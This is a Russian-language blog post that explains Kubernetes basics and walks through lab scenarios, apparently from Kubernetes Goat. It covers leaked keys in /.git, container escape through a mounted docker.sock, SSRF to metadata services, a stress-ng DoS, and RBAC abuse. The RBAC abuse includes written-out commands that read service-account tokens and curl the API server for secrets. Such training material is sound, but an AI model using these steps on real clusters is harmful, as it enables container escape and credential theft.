Про безопасность в K8S

Про безопасность в K8S

https://t.me/monkey_hacker

Вообще, перед тем как рассматривать проблемы в Kubernetes, стоит разобрать основы.

И так для чего нужен Kubernetes (K8S)?

K8S нужен для автоматизации развертывания контейнизированных приложений.

Т.е используемая технология - Docker. А основной используемый компонент K8s это - Cluster. K8S Cluster создается с помощью Nodes (сервера)

Есть два типа Nodes:

  1. Worker Node - сервер на котором запускаются и работают контейнеры
  2. Master Node - сервер, который управляет Worker Nodes

Когда вы посылаете cli-команды, то они отправляются на Master Nodes

Master Node имеет три главных процесса k8s:

  • kube-apiserver
  • kube-controller-manager
  • kube-scheduler

Worker Node имеет два процесса k8s:

  • kubelet
  • kube-proxy

Функции k8s:

  • Service discovery and load balancing - k8s дает доступ к контейнеру через IP/Worker Node-порт/DNS. При создании копии контейнера k8s сделает load balancing вашего контейнера
  • Storage orchestration - присоединение локального (или AWS, Docker Hub) диска к одному или нескольким контейнерам
  • Automated rollouts and rollbacks - автоматическое обновление docker image на новую/старую версию 
  • Automating bin packing - когда вы указываете сколько ресурсов нужно для вашего контейнера, то k8s выбирает подходящую Worker Node для этого контейнера. 
  • Self Healing  - замена нерабочего контейнера на рабочий
  • Secret and configuration management - позволяет хранить конфиденциальную информацию вне контейнера. 

В итоге главные объекты K8s это:

  1. Pod - состоит из контейнера/контейнеров
  2. Deployment - копия pods
  3. Service - дает доступ к deployment
  4. Nodes - сервер где работает service
  5. Cluster - объединение nodes

Но обычно процесс создания и запуска кластера выглядит так...

Теперь приступаю к самому интересному...

Sensitive keys in codebases

Данная проблема призвана обращать внимание на некоторые популярные ошибки разработчиков и DevOps-команд при упаковке артефактов и кодовой базы приложений. Это имеет реальные последствия, такие как компрометация организаций и их инфраструктуры.

Цель этого сценария - определить ключи, имеющиеся в кодовой базе. Которая включает в себя код приложения, контейнер и инфраструктуру.

С помощью gobuster/dirb можно попытаться найти ключи

Или попробовать найти следующим образом:

  • Найти директорию /.git
  • Попробовать получить доступ к поддиректории /.git/config
  • С помощью git-dumper мы можем клонировать весь репозиторий

И потом просмотрев скопированный репозиторий с помощью git log, а с помощью git checkout берем любой коммит и просматриваем его. В одном из коммитов я нашел ключи от AWS


DIND (docker in docker) exploitation

В этом сценарии мы сосредоточимся на распространенных и стандартных способах создания систем и pipeline, использующих контейнерные сокеты для создания, сборки и запуска контейнеров из базовой среды выполнения контейнеров. Этим пользовались с первых дней существования контейнерной экосистемы, и до сих пор мы видим эту неправильную конфигурацию/случаи использования в реальном мире.

Большинство систем CI/CD и pipeline систем используют базовый хост Docker runtime для создания контейнеров для вас в рамках pipeline, используя нечто под названием DIND (docker-in-docker) с сокетом UNIX. В данном сценарии мы пытаемся использовать эту неправильную конфигурацию и получить доступ к хост-системе, выйдя из контейнера docker.

Целью этого сценария является выход из запущенного докер-контейнера на хост-систему, где запущен контейнер, и возможность доступа и выполнения действий на хост-системе.

На примере нам предлагают пропинговать локальный хост и сразу же туда можно попробовать сделать command injection, что дает возможность получить инфу и с помощью команды mount мы видим, что /custom/docker/docker.sock смонтирован в файловой системе, и если предположить, что он смонтирован из хост-системы, нам нужно обратиться к нему для связи с UNIX.

Далее мы можем загрузить официальный статический бинарник docker из интернета https://download.docker.com/linux/static/stable/. После разархивируем и теперь  мы можем получить доступ к хост-системе, выполнив docker с передачей UNIX-сокета docker.sock

SSRF in the Kubernetes (K8S) world

Этот сценарий призван продемонстрировать популярную уязвимость безопасности приложений, которая повсеместно эксплуатируется в облачных средах. Теперь мы попытаемся увидеть, как она влияет на кластеры Kubernetes, внутренние службы и микросервисы. Это имеет довольно большое влияние в облачных средах, одним из реальных примеров является Shopify - SSRF в Exchange приводит к ROOT-доступу во всех экземплярах.

Уязвимость SSRF (Server Side Request Forgery) стала основной атакой для "облачных" сред. В этом сценарии мы увидим, как можно использовать уязвимость приложения, такую как SSRF, для получения доступа к метаданным облачного экземпляра, а также к информации метаданных внутренних сервисов. В частности, мы видим возможности встроенных функций Kubernetes, таких как обнаружение сервисов, для использования и получения доступа к другим внутренним микросервисам.

Мы можем начать с энумерации и разведки, чтобы понять, какие службы запущены в текущем экземпляре и других сетях, основываясь на доступной информации

Мы также можем запросить текущий контейнер/подсистему, чтобы узнать, запущены ли другие сервисы, запросив различные порты и адреса. Давайте запросим порт 5000 в том же контейнере http://127.0.0.1:5000 с помощью метода GET.

После этого пробуем http://metadata-db

И потом после перебора можно попробовать http://metadata-db//latest/secrets/kubernetes-goat

Видим что это base64 и декодируем и все

Kubernetes CIS benchmarks analysis

The Center for Internet Security (CIS) Kubernetes Benchmark - это набор рекомендаций по настройке Kubernetes для поддержки надежной защиты. Эталон привязан к конкретному выпуску Kubernetes. CIS Kubernetes Benchmark написан для дистрибутива Kubernetes с открытым исходным кодом и призван быть максимально универсальным для всех дистрибутивов.

Этот сценарий очень полезен при проведении аудитов и оценок безопасности Kubernetes. Здесь мы научимся проводить популярный эталонный аудит CIS для кластера Kubernetes и использовать результаты для дальнейшего использования или устранения неправильных конфигураций и уязвимостей. Это очень важно и обязательно, если вы занимаетесь аудитом и обеспечением соответствия в современном мире контейнеров, Kubernetes и облачных экосистем.

Мы можем развернуть Kubernetes CIS benchmarks, выполнив следующую команду

  • kubectl apply -f scenarios/kube-bench-security/node-job.yaml

Теперь мы можем получить список заданий и информацию о связанных с ними стручках, выполнив следующую команду

  • kubectl get jobs
  • kubectl get pods

После того, как мы определили pod, мы можем получить результаты аудита, выполнив следующую команду.

Теперь, основываясь на уязвимостях, которые вы видите в бенчмарках Kubernetes CIS, можно приступать к дальнейшей эксплуатации

теперь мы видим, что он возвращает все проблемы безопасности/неправильные конфигурации из кластера

DoS the Memory/CPU resources

Одной из основных проблем, решаемых Kubernetes, является управление ресурсами, такими как автомасштабирование, развертывание и т. д. В этом сценарии мы увидим, как злоумышленники могут использовать и получить доступ к большему количеству ресурсов или повлиять на доступность ресурсов путем выполнения DoS (Denial of Service), если не было реализовано конфигураций управления ресурсами кластера, таких как запросы и ограничения памяти и процессора.

В манифестах Kubernetes нет спецификации ресурсов и нет применяемых предельных диапазонов для контейнеров. Как злоумышленник, мы можем потреблять все ресурсы, на которых работает подсистема/развертывание, нехватку других ресурсов и вызвать DoS для среды.

Мы можем использовать простые утилиты, такие как stress-ng, для проведения стресс-тестирования, например, для получения доступа к большему количеству ресурсов. Приведенная ниже команда позволяет получить доступ к большему количеству ресурсов, чем указано:

  • stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Вы можете видеть разницу между обычным потреблением ресурсов и при запуске stress-ng, когда он потребляет больше ресурсов, чем должен был потреблять

Смотрим ресуры:

  • kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

RBAC least privileges misconfiguration

Kubernetes предоставляет ряд встроенных механизмов для аутентификации API-серверов, однако они, скорее всего, подходят только для непроизводственных или небольших кластеров.

RBAC (Role Based Access Control) существует, для реализации принципа безопасности наименьших привилегий. Тем не менее, большинство реальных рабочих нагрузок и ресурсов в итоге имеют более широкие привилегии, чем предполагалось. В этом сценарии мы увидим, как простая неправильная конфигурация может получить доступ к секретам, ресурсам и информации.

В реальном мире мы часто видим, как разработчики и команды DevOps склонны предоставлять дополнительные привилегии, чем требуется. Это предоставляет злоумышленникам больше контроля и привилегий, чем они предполагали. В этом сценарии вы можете использовать учетную запись службы, привязанную к pod, для предоставления доступа webhookapikey, но с ее помощью злоумышленник может получить контроль над другими секретами и ресурсами.

По умолчанию Kubernetes хранит всю информацию о токенах и учетных записях служб в стандартном месте, перейдите туда, чтобы найти полезную информацию

Теперь мы можем использовать эту информацию для запроса и общения со службой API Kubernetes с доступными разрешениями и привилегиями.

Чтобы указать на имя хоста внутреннего сервера API, мы можем экспортировать его из переменных окружения

  • export APISERVER=https://${KUBERNETES_SERVICE_HOST}

Чтобы установить путь к токену ServiceAccount

  • export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

Чтобы установить значение пространства имен

  • export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)

Чтобы прочитать токен ServiceAccount

  • export TOKEN=$(cat ${SERVICEACCOUNT}/token)

Указать путь ca.crt, чтобы мы могли использовать его при запросе в запросах curl

  • export CACERT=${SERVICEACCOUNT}/ca.crt

Теперь мы можем исследовать API Kubernetes с помощью токена и построенных запросов

  • curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

Чтобы запросить доступные секреты в пространстве имен по умолчанию, выполните следующую команду

  • curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets

Для запроса секретов, специфичных для пространства имен

  • curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets

Для запроса pod в определенном пространстве имен

  • curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods

Получите значение k8svaulapikey из секретов

  • curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey

А на этом всё :)



Report Page